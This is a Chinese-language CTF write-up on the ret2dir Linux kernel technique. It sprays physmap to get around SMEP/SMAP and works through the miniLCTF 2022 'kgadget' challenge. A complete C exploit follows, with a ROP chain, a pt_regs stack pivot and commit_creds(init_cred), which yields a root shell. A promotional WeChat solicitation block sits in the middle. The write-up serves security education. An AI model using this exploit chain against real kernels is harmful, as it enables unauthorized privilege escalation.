前言
ret2dir
是2014年在USENIX发表的一篇论文,该论文提出针对ret2usr
提出的SMEP
、SMAP
等保护的绕过。全称为return-to-direct-mapped memory
,返回直接映射的内存。论文地址:https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-kemerlis.pdf
ret2dir
在SMEP
与SMAP
等用于隔离用户与内核空间的保护出现时,内核中常用的利用手法是ret2usr
,如下图所示(图片来自论文)。首先是在内核中找到可以控制指针的漏洞,修改指针使其指向为用户空间,因此在用户空间布置恶意的数据或者代码,完成漏洞的利用。但是当SMEP
与SMAP
保护的出现,在内核态下,不能够执行或者访问用户空间的代码或者数据,导致了该利用方式失效,因为即使在用户空间中部署了payload
,在内核态下也无法访问。因此这种通过显示数据的共享方式已经不再适用了。
所以作者提出了一种思路,能否在内核空间中也能够访问到用户空间的数据。作者最终找到了一段区域,可以隐式的访问用户空间的数据。在内核中存在这部分区域direct mapping of all physical memory
,物理地址直接映射区。
这个映射区其实就是内核空间会与物理地址空间进行线性的映射,我们可以在这段区域直接访问到物理地址对应的内容。
那么作者就提出了一种攻击场景,由于在虚地址中的内容最终都会映射到物理地址上,若能将用户空间的数据同样映射到这段区域上,岂不是就可以在内核空间也可以访问到用户空间的数据了。该段区域也被称之为phsymap
,它是一段大的,连续的虚拟内存区域,它包含了部分或全部的物理内存的直接映射。下图这种情况作者也称之为是虚拟地址别名的情况,因为在用户空间与内核空间中都存在一个地址可以访问payload
。
最终作者构想的攻击场景如下图所示(图片来自论文),不同于ret2usr
,指针不再被修改为指向用户空间,而是指向了物理地址的直接映射区,由于该映射区指向物理地址,而在用户空间构造的payload
也会映射到物理地址,因此若能获得指向存在payload
的用户空间对应的物理地址在phsymap
位置,就能够直接执行用户空间的payload
。
想要获得映射地址有以下方法
(1)通过读取/proc/pid/pagemap
获取,该文件中存放了物理地址与虚拟地址的映射关系,可是该文件需要root
权限才能读取。
(2)通过大量覆盖phsymap
内存的方法,提高命中率。使用堆喷技术,在该内存区填充大量的payload
这样既不会影响payload
的执行,又能够提高命中payload
的可能性,填充效果如下图
在旧版本的内核中phsymap
是具有可执行权限的,因此可以在用户空间中填充shellcode
,但是如今的内核版本phsymap
已经不具备可执行权限了,因此只能在里面填充ROP
链
【---- 帮助网安学习,以下所有学习资料免费领!领取资料加 we~@x:yj009991,备注 “开源中国” 获取!】
① 网安学习成长路径思维导图
② 60 + 网安经典常用工具包
③ 100+SRC 漏洞分析报告
④ 150 + 网安攻防实战技术电子书
⑤ 最权威 CISSP 认证考试指南 + 题库
⑥ 超 1800 页 CTF 实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP 客户端安全检测指南(安卓 + IOS)
miniLCTF_2022-kgadget
题目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/miniLCTF_2022
kgadget_ioctl
在kgadget_ioctl
中,当我们输入的操作码为0x1BF52
时,会将rdx
寄存器中的值进行解引用,并且以函数的方式调用该地址,这就导致了任意地址执行。
run.sh
题目提供的run.sh
开启了smep
与smap
的保护,但是没有开启地址随机化KASLR
。因此虽然我们可以控制内核执行任意的地址,但是由于题目开启了smep
与smap
,因此该地址值不能选择为用户空间的地址。
#!/bin/sh qemu-system-x86_64 \ -m 256M \ -cpu kvm64,+smep,+smap \ -smp cores=2,threads=2 \ -kernel bzImage \ -initrd ./rootfs.cpio.gz \ -nographic \ -monitor /dev/null \ -snapshot \ -append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=1" \ -no-reboot \ -s
ret2dir利用流程
首先是如何执行我们指定的地址值的,可以看到实际是将我们传入的地址,解引用后存放到rbx
寄存器,结果通过将rbx
寄存器的值移动到栈顶,从而修改栈顶的值,接着调用ret
指令,使得执行被解引用的值。
想要使得内核提权,需要执行commit(prepare_kernel_cred(0)
,接着通过swapgs
和ret
指令的组合。因此需要找到一段内存,将该流程的ROP
链填充进去。这是因为kgadget_ioctl
并不是执行我们传入进去的地址,而是需要将该地址先解引用后再执行,相当于需要执行传入地址对应的内容。因此若我们直接将commit
函数的地址传入进去,它会执行commit
函数指向的内容。
那么这段区域需要选取在哪里,若我们直接再用户空间中构造这段payload
,接着将用户空间地址传递给ioctl
是不可行的,因为内核开启了smap
与smep
的保护,因此对用户空间的访问都是不被允许的。
因此需要用到ret2dir
的技巧,由于用户空间的虚拟地址同样会映射到物理地址,而在内核空间存在一段内存被称之为phsymap
,它存放着物理地址的内容,因此我们在用户空间填充的内容,可以在phsymap
找到。但是这段内存十分庞大,有64TB的大小,我们怎么才能确保搜索到存放我们payload
的地址呢?答案就是尽可能的填充,使得我们用户空间的payload
尽可能的大,那么我们搜索到的几率也会增大。
我们以页(4096
)为单位开辟内存,并且循环了0x4000
次,
void copy_dir() { char *payload; payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); for (int i = 0; i < 4096; i++) payload[i] = 'z'; } ... int main() { ... for(int i = 0; i < 0x4000; i++) copy_dir(); }
可以发现,在用户空间写入的z
值,我们在内核空间同样可以访问到。当然写入的次数以及字节数是可以自己人为调整的,可以频繁尝试,尽可能的大的填充,这样我们找到的几率也更大。
当然有时候页的大小页不一定是4096,因此可以使用getconf PAGESIZE
获得页的大小
因此我们已经找到能够访问到用户空间payload
的内核地址值,接着需要将内核栈的空间迁移到phsymap
上,这是因为用原来的内核栈无法使得连续gadget
之间的调用。这里修改为测试gadget
,用于测试不做栈迁移会发生什么。
unsigned long *payload; payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); payload[0] = 0xffffffff8108c6f0; //pop_rdi;ret; payload[1] = 0xffffffff8108c6f0; //pop_rdi;ret;
可以看到执行一次pop rdi; ret
,这是因为ret
指令会将当前栈顶的值弹出栈,而我们输入的值不再栈上,而是在phsymap
上。因此当我们输入的ROP
链不再栈上时,就需要使用栈迁移。
由于内核中存在着需要改变rsp
寄存器的gadget
,只要使用add rsp, xxx; ret
即可完成栈迁移。因此需要在栈上填入phsymap
的地址,使得经过add rsp, xxx
后能够使得rsp
指向phsymap
。为了使得栈上能够存储phsymap
的地址,这里需要借助一个结构体pt_regs
。
struct pt_regs { /* * C ABI says these regs are callee-preserved. They aren't saved on kernel entry * unless syscall needs a complete, fully filled "struct pt_regs". */ unsigned long r15; unsigned long r14; unsigned long r13; unsigned long r12; unsigned long rbp; unsigned long rbx; /* These regs are callee-clobbered. Always saved on kernel entry. */ unsigned long r11; unsigned long r10; unsigned long r9; unsigned long r8; unsigned long rax; unsigned long rcx; unsigned long rdx; unsigned long rsi; unsigned long rdi; /* * On syscall entry, this is syscall#. On CPU exception, this is error code. * On hw interrupt, it's IRQ number: */ unsigned long orig_rax; /* Return frame for iretq */ unsigned long rip; unsigned long cs; unsigned long eflags; unsigned long rsp; unsigned long ss; /* top of stack page */ };
可以看到这个结构体存放了一系列的寄存器,这是因为在进行系统调用时,会完成从用户态到内核态的切换,因此需要保存用户态时的上下文寄存器,而这些寄存器的值都需要保存在pt_regs
中。使用下述代码测试上述pt_regs
结构体存放的位置。
target = 0xffff888000000000 + 0x6000000; __asm( ".intel_syntax noprefix;" "mov r15, 0x15151515;" "mov r14, 0x14141414;" "mov r13, 0x13131313;" "mov r12, 0x12121212;" "mov r11, 0x11111111;" "mov r10, 0x10101010;" "mov r9, 0x99999999;" "mov r8, 0x88888888;" "mov rax, 0x10;" "mov rcx, 0xcccccccc;" "mov rdx, target;" "mov rsi, 0x1BF52;" "mov rdi, fd;" "syscall;" ".att_syntax;" );
可以看到我们在执行系统调用之前的参数,都会以pt_regs
结构体中的顺序进行存放,这里需要注意的是r11
寄存器用来存放了rflags
的值。
不过出题者在会对pt_regs
结构体中的部分寄存器的值进行修改。
最后只剩下r8
与r9
寄存器是可控的。但是只是用两个寄存器的值就足于完成栈迁移的操作了。
这里可以计算一下栈顶到r9
寄存器的距离0xffffc9000021ff98 - 0xffffc9000021fed0 = 0xc8
,因此找到add rsp 0xc0
的寄存器即可,因为ret
指令还会进行一次弹栈操作。这里一开始是使用extract-image.sh
进行提取,但是会报错。因此改用vmlinux-to-elf
,这个工具提取出的符号比较全。工具的地址为https://github.com/marin-m/vmlinux-to-elf
提取出来就可以愉快的获取gadget
。由于没找到add 0xc8
的gadget
,因此找了个平替的。再结合pop rsp; ret
指令即可完成栈迁移的操作。
add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret; pop rsp; ret;
接着需要考虑堆喷的填充大量内存,因为题目没有开启地址随机化,因此即使不使用堆喷,也能够定位到具体的地址,但是实际情况是该地址可以随机,因此需要确保落入到其他地址也能完成利用。由于第一条指令必须是add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;
,因为需要进行栈迁移。因此在一页的内存中,因使用尽量多的该指令进行填充,确保栈迁移的正常执行。
由于完成提权的payload
需要0x58
的大小,而该指令会将rsp
抬高0xc0
,因此用(4096 - 0x58 - 0xc0) / 8 = 0x1dd
,因此这里循环复制该指令0x1dd
次,接着将剩余空间使用ret
指令(常用的堆喷的指令)填充(这里使用了xor esi , esi; ret
,因为异或操作不影响。)
for (int i = 0; i < 0x1dd; i++) payload[index++] = 0xffffffff81488561; //add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret; for (int i = 0; i < 24; i++) payload[index++] = 0xffffffff81224afc; //xor esi, esi; ret;
最后是在提权时没找到合适gadget
将prepare_kernel_cred
的返回值即rax
寄存器的值,移动到rdi
寄存器中。因此学了下出题者的wp
,发现出题者使用了init_cred
结构体作为commit_creds
函数的参数。
init_cred
是 Linux 内核中的一个结构体,用于表示进程的初始凭证。它包含了与进程相关的安全属性和权限信息。,init_cred
结构体通常用于表示初始的 root 凭证。因此只需要借助一个pop rdi;ret
的gadget
加上init_cred
结构体的地址就可以完成root
凭证的初始化了。
exp
最后完整的exp
如下
#include <stdio.h> #include <fcntl.h> #include <sys/mman.h> #define COLOR_NONE "\033[0m" //表示清除前面设置的格式 #define RED "\033[1;31;40m" //40表示背景色为黑色, 1 表示高亮 #define BLUE "\033[1;34;40m" #define GREEN "\033[1;32;40m" #define YELLOW "\033[1;33;40m" /* 0xffffffff81488561: add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret; 0xffffffff810c92e0: T commit_creds 0xffffffff810c9540: T prepare_kernel_cred 0xffffffff81224afc: xor esi, esi; ret; 0xffffffff8108c6f0: pop rdi; ret; 0xffffffff82a6b700 D init_cred; 0xffffffff81c00fb0 T swapgs_restore_regs_and_return_to_usermode 0xffffffff811483d0: pop rsp; ret; */ int fd; unsigned long user_ss, user_cs, user_sp, user_rflags; unsigned long target; unsigned long target1; void save_state(); void copy_dir(); void back_door(); void back_door() { printf(RED"getshell"); system("/bin/sh"); } void copy_dir() { unsigned long *payload; unsigned int index = 0; payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); for (int i = 0; i < 0x1dd; i++) payload[index++] = 0xffffffff81488561; //add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret; for (int i = 0; i < 24; i++) payload[index++] = 0xffffffff81224afc; //xor esi, esi; ret; payload[index++] = 0xffffffff8108c6f0; // pop rdi ret payload[index++] = 0xffffffff82a6b700; //init_cred payload[index++] = 0xffffffff810c92e0; //commit_creds payload[index++] = 0xffffffff81c00fb0 + 0x1b; //swapgs_restore_regs_and_return_to_usermode payload[index++] = 0; payload[index++] = 0; payload[index++] = (unsigned long)back_door; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; } void save_state() { __asm( ".intel_syntax noprefix;" "mov user_ss, ss;" "mov user_cs, cs;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ".att_syntax;" ); printf(RED"[*]save state\n"); printf(BLUE"[+]user_ss:0x%lx\n", user_ss); printf(BLUE"[+]user_cs:0x%lx\n", user_cs); printf(BLUE"[+]user_cs:0x%lx\n", user_sp); printf(BLUE"[+]user_rflags:0x%lx\n", user_rflags); printf(RED"[*]save finish\n"); } int main() { save_state(); fd = open("/dev/kgadget", O_RDWR); /* for(int i = 0; i < 0x4000; i++) copy_dir(); */ target = 0xffff888000000000 + 0x6000000; __asm( ".intel_syntax noprefix;" "mov r15, 0x15151515;" "mov r14, 0x14141414;" "mov r13, 0x13131313;" "mov r12, 0x12121212;" "mov r11, 0x11111111;" "mov r10, 0x10101010;" "mov r9, 0xffffffff811483d0;" "mov r8, target;" "mov rax, 0x10;" "mov rcx, 0xcccccccc;" "mov rdx, target;" "mov rsi, 0x1BF52;" "mov rdi, fd;" "syscall;" ".att_syntax;" ); }
更多靶场实验练习、网安学习资料,请点击这里 >>